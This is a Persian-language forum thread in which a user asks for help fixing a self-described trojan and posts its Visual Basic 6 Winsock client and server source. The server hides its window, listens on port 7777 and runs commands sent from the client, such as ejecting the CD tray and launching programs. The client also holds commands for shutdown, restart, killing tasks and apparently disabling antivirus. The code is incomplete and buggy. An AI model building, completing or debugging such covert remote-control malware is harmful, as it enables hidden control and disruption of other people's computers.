مشکل در وینسوک

[amir-new.programer]

من چند وقت پیش یه تر..ان نوشتم عالی:چشمک:
جدیدا اشتباهی فرم سرور من پاک شد و از اول ساختمش :گریه::گریه::گریه:
حالا وقتی هر دو رو روی سیستم خودم اجرا میکنم و در کلاینت در کادر آی پی 127.0.0.1 رو وارد میکنم سرور عمل نمیکنه:شیطان::متعجب::گریه:
به خدا خیلی احتیاج دارم زودتر کمک کنید

[m2011kh]

سورس رو بزار بررسی کنیم.

موفق و سربلند باشید

MMD

[amir-new.programer]

(((codes program)))



'Client Code
Option Explicit

Private Declare Function mciSendString _
Lib "Winmm.dll" _
Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallBack As Long) As Long

Private Sub Command10_Click()

Dim strData As String

strData = "msg"
Winsock1.SendData strData

End Sub

Private Sub Command11_Click()

Timer12.Enabled = True

With Timer12
Enabled = True
End With

Timer12.Enabled = True

End Sub

Private Sub Command12_Click()

Dim strData As String

strData = "closeWindowOSK"
Winsock1.SendData strData

End Sub

Private Sub Command122_Click()

Dim strData As String

strData = "closeWindowNotePad"
Winsock1.SendData strData

End Sub

Private Sub Command13_Click()

Dim strData As String

strData = "CLOSECD"
Winsock1.SendData strData
Timer(0).Enabled = False
Timer2.Enabled = False

End Sub

Private Sub Command133_Click()

Dim strData As String

strData = "disant"
Winsock1.SendData strData

End Sub

Private Sub Command1410_Click()

Dim strData As String

strData = "invert"
Winsock1.SendData strData

End Sub

Private Sub Command144_Click()

Dim strData As String

strData = "shatdan-a"
Winsock1.SendData strData

End Sub

Private Sub Command155_Click()

Dim strData As String

strData = "taskk"
Winsock1.SendData strData

End Sub

Private Sub Command6_Click()

Dim strData As String

strData = "CloseMe"
Winsock1.SendData strData

End Sub

Private Sub Command1_Click()

Winsock1.Close
Winsock1.Connect Text1.Text, 7777

End Sub

Private Sub Command2_Click()

Dim strData As String

strData = "OPENCD"
Winsock1.SendData (OPENCD)

End Sub

Private Sub Command3_Click()

Dim strData As String

strData = "CLOSECD"
Winsock1.SendData strData

End Sub

Private Sub Command4_Click()

Dim strData As String

strData = "RunWindowOSK"
Winsock1.SendData strData

End Sub

Private Sub Command5_Click()

Dim strData As String

strData = "RunWindowNotePad"
Winsock1.SendData strData

End Sub

Private Sub Command7_Click()

With Timer
Enabled = True
End With

With Timer2
Enabled = True
End With

Timer2.Enabled = True
Timer(0).Enabled = True

End Sub

Private Sub Command8_Click()

Dim strData As String

strData = "shatdan"
Winsock1.SendData strData

End Sub

Private Sub Command9_Click()

Dim strData As String

strData = "reestart"
Winsock1.SendData strData

End Sub

Private Sub Timer_Timer(Index As Integer)

Dim strData As String

strData = "OPENCD"
Winsock1.SendData strData

End Sub

Private Sub Timer12_Timer()

Dim strData As String

strData = "hangg"
Winsock1.SendData strData

End Sub

Private Sub Timer2_Timer()

Dim strData As String

strData = "CLOSECD"
Winsock1.SendData strData

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim strData As String

Winsock1.GetData strData, vbString

End Sub


'Server Code
Option Explicit

Private Declare Function mciSendString Lib "Winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallBack As Long) As Long

Private Function EjectCD()

mciSendString "Set CDAudio Door Open", 0, 0, 0

End Function

Private Function CloseCD()

mciSendString "Set CDAudio Door Closed", 0, 0, 0

End Function

Private Sub Form_Load()

Winsock1.LocalPort = 7777
Winsock1.Listen

Form1.Hide

End Sub

Private Sub WinSock1_ConnectionRequest(ByVal RequestID As Long)

If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept RequestID

End Sub

Private Sub WinSock1_DataArival(ByVal bytesTotal As Long)

DoEvents

Dim strData As String

Call Winsock1.GetData(strData$, vbString)

Select Case strData

Case "CloseMe"
Unload Me

Case "OPENCD"
EjectCD

Case "CLOSECD"
CloseCD

Case "RunWindowOSK"
Shell "OSK.exe"

Case "RunWindowNotePad"
Shell "NotePad.exe"
End Select


End Sub


…………………………………………� �…………………………………………� ��………………………………………… …………………………

ضمنا این فرم سرور کد ش کامل نیست چون از وقتی فرمم پاک شد برای تست فقط همین چند تا رو برای سرور مشخص کردم تا ببینم کار میکنه یا نه